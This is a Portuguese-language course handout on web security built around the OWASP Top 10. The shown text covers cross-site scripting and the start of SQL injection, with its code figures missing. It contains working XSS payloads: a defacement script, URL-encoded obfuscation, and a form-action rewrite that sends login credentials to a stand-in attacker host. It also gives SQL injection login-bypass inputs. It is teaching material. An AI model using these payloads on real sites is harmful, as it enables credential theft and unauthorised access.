Seguranca Web

CENTRO UNIVERSITRIO VILA VELHA
Curso de Extenso Tecnolgica

Segurana em Web
Autor Maycon Maia Vitali maycon@hacknroll.com http://maycon.hacknroll.com/
O curso tem como objetivo apresentar aos alunos a realidade dos ataques em siste mas web de maneira prtica, demonstrando como os atacantes identificam as vulnerabilidades e, a partir delas, efetuam ataques que comprometem os principais ativos das empresas.
Sumrio
1. Introduo ao OWASP.......................................................................................................4 2. Introduo a Segurana da Informao ..............................................................................5 2.1. Segurana em Web....................................................................................................6 3. Vulnerabilidades Web .......................................................................................................7 3.1. Cross-Site-Script (OWASP #1) ......................................................................................7 3.1.1 Primeiro Exemplo Retorno de Variveis...............................................................8 3.1.2 Segundo Exemplo Recuperao de Dados..........................................................12 3.2.3 Terceiro Exemplo Alterao de Informaes da Pgina.......................................15 3.1.4 Quarto Exemplo Mudana de Escopo ................................................................16 3.1.5 Soluo ..............................................................................................................18 3.2. Injeo de SQL (OWASP #2) ......................................................................................20 3.2.1 Primeiro Exemplo Formulrio de Acesso............................................................21 3.2.1.1 Mtodo de Ataque ....................................................................................22 3.2.1.2 Primeira Proteo Ineficaz..........................................................................23 3.2.1.3 Segunda Proteo Ineficaz .........................................................................25 3.2.1.4 Terceira Proteo do Primeiro Exemplo (Eficiente?).....................................26 3.2.2 Segundo Exemplo (Ajax + Variveis Numricas) .................................................28 3.2.2.1 Ferramenta Auxiliar (FireBug) .....................................................................30 3.2.2.2 - Utilizando o INFORMATION_SCHEMA..........................................................33 3.2.2.3 Descobrindo o Nmero de Colunas .............................................................34 3.2.2.4 Obtendo colunas visveis ............................................................................36 3.2.2.5 Localizando Tabelas Necessrias.................................................................37 3.2.2.6 Descobrindo o Nome das Colunas...............................................................37 3.2.2.7 Efetuando o Ataque ...................................................................................38 3.2.7 - Concluso.........................................................................................................41 Pgina 2 Curso de Extenso Tecnolgica de Segurana em Web
3.3. Execuo de Arquivo Remoto (OWASP #3).................................................................42 3.3.1 Exemplo .............................................................................................................43 3.3.2 Soluo ..............................................................................................................48 3.4. Referncia Direta a Objetos Inseguros (OWASP #4) ....................................................50 3.4.1 Primeiro Exemplo - Acesso a Arquivos do Sistema Operacional..............................50 3.4.2 Segundo Exemplo - Acesso a Registros do Banco de Dados....................................51 3.4.3 Soluo ..............................................................................................................53 3.5. Cross Site Request Forgery (OWASP #5).....................................................................54 3.5.1 Primeiro Exemplo Forum Logout .......................................................................54 3.5.2 Segundo Exemplo Sites de e-Commerce.............................................................54 2.5.3 Soluo ..............................................................................................................58 3.6. Vazamento de Informao e Tratamento Incorreto de Erros (OWASP #6) ....................59 3.6.1 Primeiro Exemplo Mensagens Diversas..............................................................59 3.6.2 Segundo Exemplo Mensagens de Erro...................................................................60 Soluo ......................................................................................................................61 3.7. Furo de Autenticao e Gerncia de Sesso (OWASP #7) ... Erro! Indicador no definido. 3.8. Armazenamento Criptogrfico Inseguro (OWASP #8) .................................................65 3.8.1 Criptografia VS Hash ...........................................................................................65 3.8.2 Mal da Poltica de Segurana ...............................................................................65 3.8.3 Ataques a Sistemas Criptogrficos .......................................................................66 3.8.4 Ataques a Funes Hash......................................................................................67 3.8.5 Soluo ..............................................................................................................68 3.9. Comunicao Insegura (OWASP #9)...........................................................................69 3.9.1 Soluo ..............................................................................................................69 3.10. Falha de Restrio de URL (OWASP #10) ..................................................................70 3.10.1 Soluo ............................................................................................................71 4. Referncias ....................................................................................................................72 Curso de Extenso Tecnolgica de Segurana em Web Pgina 3
1. Introduo ao OWASP
O Open Web Application Security Project (OWASP) uma comunidade livre e aberta, mundialmente centrada na melhoria da segurana dos softwares. Sua misso tornar a segurana das aplicaes visveis, para que as pessoas e organizaes possam tomar conhecimento sobre os verdadeiros riscos de segurana que uma aplicao pode sofrer. Todos so livres de participar do OWASP, e todos os materiais esto disponveis sob uma licena de software livre. O OWASP um novo tipo de organizao. Sua liberdade do meio comercial permite fornecer mtodos imparciais, prticos e eficazes em termos de custos sobre a aplicao de segurana. O OWASP no afiliado a qualquer empresa tecnologia, apesar de apoiar a utilizao de solues de segurana tecnologia comercial. De maneira resumida, o OWASP possui como princpios ser livre e aberto, ser direta e concisa, obedecer a um cdigo de tica, no ter fins lucrativos, no ser impulsionada por interesses comerciais e ter uma abordagem baseada em riscos. Como cdigo de tica o OWASP define como seu: Executar todas as atividades profissionais e deveres em conformidade com todas as leis aplicveis e os mais altos princpios ticos; Promover a implementao e o cumprimento das normas, procedimentos e controles para efeitos de aplicao da segurana; Manter a confidencialidade adequada de propriedade ou de outra informao sensvel encontradas no decurso das atividades profissionais; Responsabilidades profissionais com diligncia e honestidade; Abster-se de quaisquer atividades que possam constituir um conflito de interesse ou de outra forma prejudicar a reputao dos empregadores, as informaes de segurana profisso, ou a Associao, e No intencionalmente ferir ou refutar a reputao profissional de prtica dos colegas, clientes ou funcionrio.
Pgina 4
Curso de Extenso Tecnolgica de Segurana em Web
2. Introduo a Segurana da Inf ormao

A segurana da informao o setor da tecnologia da informao responsvel por prover recursos e mecanismos que visam identificar, prevenir e solucionar problemas que ameaas possam fornecer aos ativos de uma empresa. Quanto aos ativos, esses consistem em qualquer recurso que tenha valor para empresa, sejam equipamentos, ferramentas lgicas (como softwares), estrutura fsica, funcionrios e at mesmo a informao em si. De maneira geral, a segurana da informao responsvel por proteger os bens valorados da empresa, alm de fornecer mecanismos para contra medidas caso algum dos recursos sofra algum tipo de ameaa ou ataque. Para uma anlise, planejamento e implantao de segurana em uma empresa, utiliza-se como atributo dos ativos a trade CIA (Confidentiality, Integrity and Availability), que representam a confidencialidade, integridade e disponibilidade da informao. A confidencialidade garante que uma dada informao s ser acessada pelas pessoas e meios que possuem priv ilgios para tal ao; a integridade garante que, quando uma dada informao for acessada, a mesma seja real, ou seja, no tenha sofrido qualquer tipo de alterao indevida por algum meio externo ou interno; e a disponibilidade garante que a informao esteja disponvel quando for solicitada. Os mecanismos de segurana se baseiam em controles fsicos, que so barreiras que limitam o acesso direto a informao ou a infra-estrutura (como portas, trancas ou guardas) e controles lgicos, que so barreiras que impedem ou limitam o acesso a informao (geralmente eletrnico) que, de outro modo, ficaria exposta a cpia ou alterao no autorizada por um atacante. Atualmente, existe uma vasta quantidade de ferramentas e sistemas que possuem como objetivo fornecer segurana. Alguns exemplos so os Antivrus (e m4lwares em geral), Sistemas de Deteco e Preveno de Intruses, Firewalls, Filtros Anti-Spam, Fuzzers, Analisadores de Cdigos, etc. Entretanto, uma m utilizao/configurao dessas ferramentas podem no prover a segurana necessria para os ativos em questo. Alm das ferramentas citadas, a segurana da informao consiste em proteger os ativos de ameaas fsicas como incndios, desabamentos, relmpagos, alagamentos, acesso indevido e at mesmo de pessoas.
Pgina 5
2.1. Segurana em Web

A Web foi criada com o nico objetivo de prover um meio de troca de informaes de maneira amigvel do que os recursos que se tinham na poca. Com isto, no se teve qualquer (ou pouca) nfase em segurana, e isto se tornou um problema para aqueles que utilizam como meio comercial. Atualmente, possvel notar que a tendncia que as aplicaes sejam migradas para ambiente Web. Isso pelas inmeras vantagens que essa mudana provm, como o livre acesso de qualquer lugar do mundo, a inter-conectividade entre sistemas, a fcil manuteno (e atualizao) etc. Por outro lado, no dia-a-dia ouvem-se notcias e relatos que comprovam o quo a Internet tem se tornado um ambiente hostil, tornando ento as empresas sujeitas a ataques alheiros que, consequentemente resultam em perda de capital e credibilidade no mercado. Muitas vezes a aplicao Web se localiza em intranet, ou seja, no possui um acesso direto de um meio externo a ela. Desta forma, empresrios e desenvolvedores utilizam a no publicao do sistema como argumento de impossibilidade de comprometimento do sistema. Porm, em um cenrio real, tem-se notado crescente o nmero de ataques internos, geralmente praticados por funcionrios insatisfeitos ou at mesmo atravs de ferramentas maliciosas (malwares) instaladas acidentalmente na rede interna da empresa. Com o fcil acesso a informao, a Internet tem formado diversos profissionais incapazes de proverem segurana nos sistemas desenvolvido e, por mais incrvel que parea, todo o conceito de segurana em desenvolvimento web poderia ser resumido em uma nica vertente muito bem definida no livro Writing Secure Code (ISBN 9780735617223) que diz all input is evil until proven otherwise, ou seja, toda entrada malfica at que se provem ao contrrio. Pode ocorrer de o programador ter conhecimento dos tipos de ataques. Porm isso no o bastante para que o mesmo seja capaz de prover um mecanismo eficaz de proteo. De certa forma, ele inibiria ataques conhecidos ou at mesmo padronizados. Uma m programao de um mecanismo de segurana seria extremamente ineficaz em ataques planejados. De uma maneira geral, possvel encontrar diversos mecanismos e sugestes de boas prticas de programao. Porm, grande parte delas procura evitar assinaturas de ataques como caracteres especiais ou algumas caractersticas especficas. Ao invs de proibir que o usurio fornea dados invlidos, o ideal seria permitir que o usurio somente fornecesse dados vlidos. Isto pode parecer ambguo, s que no universo de informaes que o usurio pode fornecer, entre dados vlidos e dados invlidos existe uma infinidade de possibilidades. Assim, somente inibindo o usurio de fornecer um dado invlido, pode ocorrer de dados ou situaes no previstas serem utilizadas em um ataque, o que resultaria em sucesso para um atacante. Toda entrada malfica at que se provem ao contrrio. Em uma aplicao Web, diversos so os meios de interao com o usurio. Com isso, outro erro ignorado por muitos programadores no validar informaes no manipuladas diretamente pelo usurio.
Pgina 6
Muitas vezes os programadores se preocupam em verificar informaes que so visveis e de fcil manipulao do usurio, como variveis de URL ou mesmo campos de formulrios. Porm diversos so os meios de efetuar um ataque, como campos hidden de formulrios, valores de campos do tipo select ou option, dados enviados pelo mtodo POST, dados armazenados em cookie e at mesmo valores enviados no cabealho HTTP da requisio.
3. Vulnerabilidades Web
A Web sem via de dvidas o meio mais fcil de ingressar e ter um espao na Internet. Alm do mais, muitas vezes nos referimos Internet como somente a Web, de tamanha diferena que ela difundida com relao aos outros mecanismos de comunicao. Por esse motivo ela tem sido alvo de ataques dos mais diversos. Como a Web tem crescido de maneira a fornecer dezenas mecanismos e ferramentas para iterao com ela, diversos tem sido os tipos de vetores de ataques, o que torna o ambiente Web literalmente uma selva, onde somente os que se preocupam com sua prpria segurana sobrevivero. Quando a aplicao Web no armazena nenhuma informao realmente valiosa ou importante, nota-se a no importncia pela existncia ou no de vulnerabilidades. Porm, importante saber que ao encontrar uma vulnerabilidade Web, ela pode ser utilizada como porto de entrada para uma invaso em massa e tomada total dos recursos e servios do servidor e possivelmente da rede onde o mesmo hospeda que, dependendo do contrato de vinculao do servio, pode responsabilizar o contratante do servio de hospedagem pelos prejuzos acarretados. Nos prximos captulos, sero descritos as principais classes de vulnerabilidades presentes na Web, como ela so identificadas e exploradas por um atacante, e como possvel prevenir que se desenvolva uma aplicao suscetvel a elas.
3.1. Cross-Site-Script (OWASP #1)

A vulnerabilidade de Cross-Site-Script (XSS) umas das mais antigas e presentes desde os primrdios da programao para Web dinmica. Apesar do baixo impacto, a falha de XSS extremamente encontrada nos sistemas Web e, se sucesso na explorao, permite ao atacante obter controle total da sesso de autenticao do usurio vtima. A vulnerabilidade de XSS explorada com sucesso quando se consegue executar cdigos JavaScript no navegador da vtima sem o consentimento dela. Com isto, possvel enviar requisies para o servidor utilizando as credenciais de permisso da vtima atacada. Alm do
Pgina 7
mais, em um ataque planejado, possvel fazer literalmente o seqestro de sesso (do ingls session hijacking), que permite acessar o sistema com autenticao da vtima. De uma maneira geral, a falha de XSS ocorre quando o programador imprime no navegador de maneira dinmica (PHP, ASP, JSP etc) uma informao que pode ser manipulada pelo usurio. Como toda entrada mal intencionada at que se provem o contrrio, um atacante poderia inserir informaes no banco de dados ou em qualquer varivel que retorne para o usurio (navegador) sem nenhum tipo de filtro de segurana. Desta forma, ao inserir caracteres especiais, o atacante consegue fazer com que o navegador interprete a informao fornecida como cdigo Javascript, executando assim operaes no navegador da vtima. Com a massificao do XSS, idias foram surgindo. Dentre elas, a criao de w0rms em XSS foi sem dvida a mais fantstica. Dente os destaques est o Vrus do Orkut, que em meado de 2007, atravs da uma falha de XSS do Orkut, fazia com que o usurio atacado ingresse na comunidade Infectados pelo Virus do Orkut e enviasse o cdigo que infectaria todos os amigos. J de se esperar, a comunidade rapidamente chegou a meio milho de membros, o que fez com que ela fosse a comunidade recordista da poca.
3.1.1 Primeiro Exemplo Retorno de Variveis

Como dito, a falha de Cross-Site-Scripting existe quando o programador repassar para o navegador sem qualquer filtragem e tratamento adequado uma informao que pode ser manipulada pelo usurio. Desta forma o usurio pode inserir cdigos client-side (JavaScript, EMACScript, VBScript etc) que seja executados no navegador. Um exemplo para demonstrar a ocorrncia da falha pode ser visto no cdigo abaixo:
No cdigo acima, possvel notar que o desenvolvedor repassa para o navegador o valor da varivel busca enviada pelo usurio atravs do mtodo GET. Um exemplo de formulrio de pesquisa que interaja com o cdigo acima pode ser visto abaixo:
Pgina 8
Uma caixa de texto fornece o valor da varivel busca ao cdigo PHP, porm esse valor poderia ter vindo de diversos lugares como campos hidden, cookie, diretamente da URL etc. O formulrio HTML tem seu funcionamento perfeito para usurios comuns e sem ms intenes. Porm em um ambiente real sempre devemos nos prever de usurios mal intencionados e levar em considerao que eles possuem conhecimento para efetuar o ataque e que vo faz-lo. Para um melhor entendimento do funcionamento da falha, veja como ficaria o cdigo gerado pelo script PHP para a busca Ataques Web:
Como de se esperar, o cdigo faz o que promete. Porm, se colocarmos caracteres especiais e que possa ser executados pelo navegador, o mesmo o far e ento conseguiremos ter sucesso em como um vetor de ataque. Veja como ficaria se colocssemos o seguinte valor XSS')</script> no campo de pesquisa:
<script>alert('Vulneravel a
Como de se esperar, o script PHP simplesmente repassou o valor digitado para a pgina. Desta forma, como inserimos cdigos Javascript, o navegador executou-os como segue:
Pgina 9
O exemplo de vulnerabilidade de XSS demonstrado no possui grandes chances de sucesso. Isto porque as informaes que so enviadas para serem exploradas so fornecidas no mesmo momento da requisio, ou seja, necessrio enviar a requisio para o servidor com os dados que efetuam o ataque para logo depois ter a explorao bem sucedida. Para isto, necessrio utilizar tcnicas de Engenharia Social. A Engenharia Social consiste em bolar um meio de literalmente enganar a vtima a fim de induzi-la a cooperar com o processo de explorao. O mais comum seria enviar um e-mail contendo alguma informao de interesse da vtima e, com isto, obter um mecanismo de fazer com que ela acesse um endereo como o que segue:
http://localhost/AtaquesWeb/xss_exemplo1.php?busca=<script>alert('Vulneravel+a+XSS')</script>
Ao acessar o endereo, o cdigo Javascript ser executado assim como ocorrido anteriormente em que utilizamos o formulrio de pesquisa. Porm, enviando o endereo citado acima, um usurio que tenha o mnimo de preocupao com segurana facilmente notaria que se trata de uma tentativa de ataque (sem mais detalhes). Para evitar esse tipo de desfeche, um atacante tenta ao mximo esconder o que poderia ser um ataque. Desta forma, a vtima ficaria insegura quanto possibilidade de ser um ataque ou no e, em muitas vezes, arriscaria. Um exemplo onde o atacante camuflaria as assinaturas do ataque poderia ser enviar o seguinte endereo:
http://localhost/AtaquesWeb/xss_exemplo1.php?busca =%3c%73%63%72%69 %70%74%3e%61 %6c%65 %72%74%28%27 %56%75%6 c%6e%65 %72%61%76%65 %6c%20%61%20 %58%53%53%27 %29%3c%2f% 73%63%72%69%70%74%3e
No padro da Web, quando se deseja enviar um caractere especial no cabealho HTTP, para o parser do servidor no ter problemas, foi definido como padro aplicar o HexEncode. O HexEncode (ou URLEncode), consiste em pegar cada um desses caracteres que poderiam causar problemas ao servidor na hora de interpretar e substitu-los pelo seu respectivo valor hexadecimal precedido do smbolo de porcentagem. Para facilitar o trabalho, foi escrito um cdigo Javascript em uma pgina que acelera o processo de codificao de uma entrada. Se for fornecido como entrada para esta pgina o
Pgina 10
cdigo que foi utilizado no ataque mesma retornar o texto codificado utilizado no exemplo anterior. Veja o resultado da execuo do codificador:
O cdigo do codificador pode ser visto na figura abaixo:
Como dito, o codificador simplesmente substitui cada caractere por seu respectivo valor ASCii (em hexadecimal) precedido do smbolo de porcentagem (linhas 21 e 22). Existem dezenas de mtodos onde podemos explorar a falha de Cross-Site-Scripting. Uma das grandes vantagens em sua explorao, que as vulnerabilidades de XSS so cross-plataform., ou seja, por ela serem explorada por cdigos de internet client-side, elas so independente de plataforma. Entretanto, teoricamente, as falhas de XSS se limitam ao ambiente Web, com isto no possvel gravar ou instalar programas no disco da mquina da vtima. Entretanto, isto verdade somente quando se deseja um cdigo que infecte mltiplas plataformas, j que em alguns navegadores como o Internet Explorer existem recursos que nos permite ler e gravar dados no HD da vtima.
Pgina 11
3.1.2 Segundo Exemplo Recuperao de Dados

Dos diversos locais aonde se pode encontrar uma vulnerabilidade de XSS, os que mais interessam os atacantes so falhas que buscam informaes de um meio de armazenamento. Na falha descrita, a informao que repassada para o navegador vem diretamente do navegador, o que cria a necessidade da cooperao da vtima para o sucesso no ataque. Entretanto, algumas falhas de XSS surgem quando os dados fornecidos por um usurio (atacante) so gravados em um meio de armazenamento (banco de dados, arquivo etc.) e ao ser impresso no passar por qualquer tipo de filtro. Um exemplo bem completo de como esse tipo de falha pode ocorrer pode ser visto na figura abaixo:
O cdigo acima consiste em uma simples agenda de contatos com uma rea de cadastro e uma listagem. Todo o processamento de busca e gravao feito nas funes cadastraContato (linha 5) e buscaContatos (linha 8). Isto foi feito propositalmente para abstrair o meio de armazenamento. Porm, para um melhor acompanhamento do curso segue o cdigo de ambas as funes:
Pgina 12
Toda entrada mal intencionada at que se provem ao contrrio. O foco da vulnerabilidade est no fato de o script gravar os dados fornecidos pelo usurio e em seguida os repassar sem nenhum tipo de filtro. Com isto, um atacante pode simplesmente injetar o cdigo Javascript em qualquer um dos campos e esperar que algum outro usurio acesse a mesma pgina executando, assim, o cdigo Javascript inserido. Veja:
Pgina 13
No exemplo, foi inserido no campo telefone o cdigo <script>alert('attack')</script> que ser gravado como um registro e, em qualquer acesso pgina, repassado para o usurio (vtima), tendo sucesso no ataque. Repare que a qualquer acesso que fizer pgina o resultado ser sempre o mesmo, a mensagem que foi inserida pelo atacante. Veja:
Repare que para demonstrar o sucesso na execuo do Javascript, foi solicitado que o mesmo exiba uma mensagem. Entretanto, em um ataque real, dificilmente o usurio suspeitar do atacante, j que o ataque procura fazer as requisies e aes de maneira escondida. Uma ao comum para um atacante seria alterar informaes da prpria pgina. Se o mesmo tiver o propsito de fazer uma pichao na pgina (defacing), ele poderia simplesmente injetar o seguinte cdigo: <script> document.body.innerHTML = "<h1 align='center'>H4ck3d by 0ut0fBound</h1>"; </script> Desta forma o impacto comercial para a vtima seria incalculvel, j que o resultado ser o visto na seguinte figura:
Pgina 14
3.2.3 Terceiro Exemplo Alterao de Informaes da Pgina

Outro tipo de explorao XSS ocorre quando o usurio altera informaes criteriosas da pgina em questo, como valores, textos ou at mesmo endereos de links e destinos de formulrios. J tive sucesso na explorao de XSS em um caso onde alterei o destino para onde o formulrio de acesso enviava os dados. Com isto, fiz um cdigo externo que capturava os dados enviados pelo formulrio, gravava-os em um lugar e em seguida retornava para a tela de erro comum. Para demonstrar este caso que foi citado vamos analisar o seguinte cdigo:
Repare que na linha 17 impresso um valor fornecido pelo mtodo HTTP-GET, desta forma visvel na URL. Podemos tirar proveito disto montando uma URL cujo endereo seja algo como:
http://localhost/AtaquesWeb/xss_exemplo3.php?msg=<script>document.getElementsByTagName(for m)*0+.action=http://www.attackersite.com/pegasenha.php;</script>
Ou ainda utilizar o mecanismo de camuflagem j visto, deixando a URL mais ilegvel:

http://localhost/AtaquesWeb/xss_exemplo3.php?msg=%3c%73%63%72%69 %70%74%3e%64%6f%63% 75%6d%65%6e%74%2 e%67%65%74 %45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4 e%61%6d %65%28%2018%66%6f%72%6d%2019%29%5b%30%5d%2 e%61%63%74%69%6f%6e%3d%2019%68%74 %74%70%3a%2f%2f%77%77%77%2 e%61%74%74%61%63%6b%65%72%73%69%74%65%2 e%63%6f%6 d%2f%70%65%67%61%73%65%6 e%68%61%2 e%70%68%70%2019%3b%3c%2f%73%63%72%69%70%7 4%3e
Ambas as URL iro ter o mesmo efeito para o servidor, porm para o usurio a primeira URL apresenta maiores chances de ser um ataque.
Pgina 15
No exemplo citado, o servidor www.attackersite.com controlado pelo atacante e o script pegasenha.php simplesmente armazena as senhas fornecidas pelo e redireciona-o para o servidor original novamente informando uma mensagem de erro qualquer. Ao tentar novamente acessar o sistema, o usurio conseguir logar com sucesso, passando despercebido pelo ataque. Um exemplo simples de script que poderia ser utilizado pelo atacante para salvar as senhas e redirecionar ao servidor original pode ser visto abaixo:
Repare que na linha 12 o cdigo redireciona para a pgina de erro, induzindo o usurio a pensar que digitou errado o login ou a senha. Quando o usurio digitar novamente ter acessado normalmente o sistema. Quando um atacante deseja explorar uma falha de Cross-Site-Script, ele precisa saber o contexto onde ele consegue injetar o cdigo Javascript. Isto significa que, por mais que ele encontre uma falha de XSS em uma pgina, a explorao como as vistas at agora simplesmente podem no surtir efeito.
3.1.4 Quarto Exemplo Mudana de Escopo

Como dito no inicio, a falha de Cross-Site-Scripting ocorre pelo simples fato de o programador no filtrar os dados que podem ser manipulados pelo usurio antes de reenvi-los para o navegador. Independente de onde estiver no cdigo, possvel explorar uma falha de XSS. O mais comum de se encontrar so parmetros passados pela URL que so repassados para alimentar informaes na pgina. Se tivermos um pedido de cdigo 1234, para qualquer operao a ser feita nesse pedido deve ter como referncia o cdigo do pedido 1234. Um exemplo desse tipo de falha esta no trecho de cdigo abaixo:
Pgina 16
Reparem que a varivel pedido repassada para a pgina sem nenhum tipo de filtro. Entretanto, se tentarmos inserir um cdigo Javascript como os vistos at agora, o mesmo no surtir efeito algum j que estamos no contexto da tag HTML <a>, mais precisamente no atributo href. Para se ter sucesso em uma explorao de XSS, necessrio antes sair do contexto da tag atual voltando para o contexto da pgina e, em seguida, retornar para o contexto da tag, de maneira a deixar imperceptvel a tentativa de ataque. Analisando mais cautelosamente, notamos que para sair ta tag atual, precisamos fechar as aspas e em seguida fechar o smbolo de maior-qu. Logo aps podemos inserir nosso cdigo Javascript. possvel notar que desta forma seria notvel que alguma coisa est estranha, j que sobraram as aspas e o smbolo de maior-que original e as mesmas sero impressas na pgina. Para que isto no ocorra, necessrio criar algum artifcio que utilize esses caracteres e os mesmo no seja impresso. Este ponto vai da criatividade de cada um, uma soluo seria o seguinte:
http://localhost/AtaquesWeb/xss_exemplo4.php?pedido="><script>alert('attack')</script><xss+"
Com isto, o script ser executado e no afetar o leiaute da pgina. Para se proteger de ataques de XSS, basta levar em considerao a frase dita em diversas parte do documento: Toda entrada mal intencionada at que se provem o contrrio.. Seguindo este paradigma de programao seria razoavelmente simples e til se proteger no s dos ataques de Cross-Site-Scripting, como de praticamente qualquer ataque Web ou no-web. Como a vulnerabilidade de XSS consiste em inserir cdigos Javascript na pgina, uma alternativa seria impedir a insero de caracteres que possam inferir na execuo do script como os caracteres < e >. Veja um exemplo de cdigo abaixo:
Como em uma poltica de firewall, tentar bloquear o que no se deseja no uma boa alternativa, pois s vezes difcil (ou impossvel) prever todo tipo de dado que pode representar um ataque. Portanto, como uma poltica de firewall, o ideal seria permitir somente entradas vlidas. Um exemplo que burlaria esse filtro simples seria a insero do seguinte dado URL: http://localhost/AtaquesWeb/xss_safe01.php?usuario=" onmouseover="javascript:alert('XSS') Curso de Extenso Tecnolgica de Segurana em Web Pgina 17
Ao carregar a pgina, a falha no seria carregada. Porm, ao passar o mouse sobre a caixa de texto, o resultado seria como a seguinte imagem:
3.1.5 Soluo
Em vez de procurar prover uma proteo contra os ataques de Cross-Site-Scripting, o ideal seria torn-los sem efeito. Isso porque muitas vezes necessrio se inserir os caracteres maior-que e menor-que em uma mensagem ou em um campo de formulrio. Alm do mais, no seria muito legal fornecer ao usurio inocente uma mensagem de tentativa de ataque caso ele tente colocar os caracteres de um emotion ou de uma setinha como ->. Para uma real soluo que agrade a todos, o prprio HTML nos fornece uma soluo. Diversos caracteres possuem outras representaes que indicam que os mesmo deve ser renderizados no navegador ao invs de passar para interpretao. Como toda a internet (TCP/IP), isto no foi feito pensando em segurana, mas sim na diferena de codificao entre as diversas regies e navegadores. Alguns utilizam por padro ISSO-8859-1, outros utiliza UTF8 como padro, o que causa um grande problema caso tentem ser interpretados. No caso da linguagem PHP, uma funo chamada htmlspecialchars() pode ser utilizada para substituir os caracteres que so interpretador como HTML para suas representaes reais a serem impressas no navegador. Esta funo possui a seguinte sintaxe: string htmlspecialchars ( string $string [, int $quote_style [, string $charset ]] ) O primeiro parmetro consiste na entrada fornecida pelo usurio. O segundo parmetro (opcional) utilizado para o PHP saber o que fazer com as aspas-simples e aspas-dupla. O terceiro parmetro (opcional). O terceiro parmetro utilizado para identificar o conjunto de caracteres (codificao) a ser utilizada. O padro de codificao o ISO-8859-1. Para o segundo parmetro quote_style, o modo padro, ENT_COMPAT, o modo mais compatvel com a atualidade, apenas transforma a aspas-dupla e deixa a aspas-simples como est. Se ENT_QUOTES est definida, ambas transformadas e se ENT_NOQUOTES est definida nenhuma das duas so modificadas.
Pgina 18
A lista de caracteres e suas substituies esto representadas na tabela abaixo: Caractere & < > Nome Comercial Aspas duplas Aspas simples Menor que Maior que Resultado & " ' < > Condio ENT_NOQUOTES no est definida Quando ENT_QUOTES est definida
Aplicando somente a funo no cdigo acima, vejamos o resultado:
Resultado de execuo:
Pgina 19
3.2. Injeo de SQL (OWASP #2)

Muitos preferem acreditar que no, ms a vulnerabilidade de Injeo de SQL (do ingls SQL Injection) to presente nos portais e sistemas Web quanto s vulnerabilidades de Cross-SiteScripting. Porm, como ela mais publica (existe uma quantidade maior de material falando sobre explorao) e existem mais mecanismos automatizados de defesa, os desenvolvedores sentem uma falsa segurana, o que torna a prtica de programao segura irrelevante. Quando foi feito a comparao de SQL Injection com Cross-Site-Scripting, foi puramente levando em considerao o nmero de ocorrncias. Porm, se formos levar em conta o impacto resultante, a vulnerabilidade de SQL Injection incomparavelmente mais crtica que as falhas de XSS. Isto porque atravs das falhas de SQL Injection possvel tomar controle total do banco de dados e, dependendo das caractersticas e permisses do banco de dados, obter controle do servidor e da rede inteira. No muito diferente do XSS (e qualquer umas das falhas Web), a vulnerabilidade de SQL Injection ocorre pela m filtragem de dados fornecidos pelo usurio. Ela existe quando um dado que pode ser manipulada pelo usurio repassado diretamente para um comando do banco de dados. Dessa forma, um usurio mal-intencionado consegue injetar caracteres especiais, alterando completamente a lgica da instruo original ou executando comandos arbitrrios do Banco de Dados. Em meados do ano de 2004, a vulnerabilidade de SQL Injection explodiu na Internet, e diversos administradores e programadores viram seus portais sendo invadidos e utilizados para fraudes financeiros, pichadores de pginas (defacers) etc. Isso ocorreu pelo modo mais simples de vulnerabilidade de SQL Injection, que consiste em inserir alguns caracteres especiais de maneira a autenticar em diversos sistemas.
Pgina 20
3.2.1 Primeiro Exemplo Formulrio de Acesso

Para fins de demonstrao nos exemplos de controle de acesso ser utilizado o seguinte formulrio HTML:
Com isto, vamos ao primeiro, mais simples e mais vulnervel mtodo de validao de acesso que receba os dados deste formulrio, verifica se existe no banco e, valida o acesso.
Pgina 21
O cdigo comum maioria dos desenvolvedores. Inicialmente ele verifica se no foi passado algum campo em branco (linhas 5-8). Em seguida ele monta um comando SQL que buscar os usurios que coincidem com os campos passados no formulrio (linhas 13-18), conecta ao banco (linha 21), executa o comando SQL pegando o recordset (linha 23) e valida o usurio se existiu algum registro que coincidiu com os dados fornecidos (linhas 26-33).
3.2.1.1 Mtodo de Ataque

O principal problema neste cdigo que torna a explorao desta falha extremamente simples ocorre pelo fato do desenvolvedor verificar se houve qualquer registro resultante do comando SQL. Desta forma, um atacante consegue inserir caracteres especiais alterando a lgica da instruo SQL da seguinte forma: Usurio: ' or ''=' Senha: ' or ''=' Assim, o comando SQL ficaria como segue:
Repare que com as entradas especificadas possvel alterar a lgica do comando SQL. Desta forma, a consulta que deveria retornar somente um registro se existisse acabou retornando todos os registros do banco de dados, retornando como usurio o primeiro que for encontrado no banco (geralmente webmaster ou administrador). Pgina 22 Curso de Extenso Tecnolgica de Segurana em Web
O resultado da intruso pode ser visto na figura abaixo:
3.2.1.2 Primeira Proteo Ineficaz

Como contramedida, diversos programadores utilizam de meios para evitar esse tipo de ataque e criar uma camada extra de segurana. A primeira verificar se o comando SQL retornou somente um registro, desta forma, esse ataque visto de inicio no surtiria efeito, porm com entradas SQL especificas possvel burlar esse mecanismo de proteo. Veja um trecho de cdigo que efetua essa verificao de quantidade de registros de retorno:
Porm, como ainda no feito quaisquer tipo de validao da entrada fornecida pelo usurio, um atacante poderia induzir a sua injeo de SQL a retornar somente 1 (um) nico registro. Isto pode ser facilmente obtido atravs do parmetro LIMIT dos comandos SQL. Um exemplo de entrada que burlaria esse mecanismo de proteo seria: Usurio: ' or ''=' Senha: ' or ''='' LIMIT 1 -Repare que houve uma modificao no campo senha do formulrio. Esta modificao est induzindo o comando SQL a retornar todos os registros (como anteriormente), porm limitando a consulta a apenas um nico registro. Desta forma, o comando SQL resultante seria o seguinte:
Pgina 23
Alm disto, se um atacante desejar acessar o sistema utilizando um usurio especfico, o cdigo de checagem no surtiria efeito algum como mecanismo de segurana. Um exemplo para acessar com um possvel usurio maycon pode ser efetuado com as seguintes entradas: Usurio: maycon' /* Senha: */ -Desta forma, o comando SQL a ser executado seria como segue:
Repare que foi inserido um usurio maycon e logo aps foi aberto um comentrio de bloco, que foi fechado pelo campo senha e, como temos mais caracteres aps este, foi inserido um comentrio de linha, que ignora quaisquer caracteres subseqentes a ele. Utilizando a entrada especificada como ataque surtiria o seguinte efeito:
Pgina 24
3.2.1.3 Segunda Proteo Ineficaz

Outro meio incorreto de proteger-se desse tipo de ataque a validao da senha do usurio com a senha armazenada no banco de dados. Dessa forma, o usurio iria necessitar fornecer a senha que esteja compatvel com o banco de dados. Este mtodo pode ser visto no seguinte cdigo:
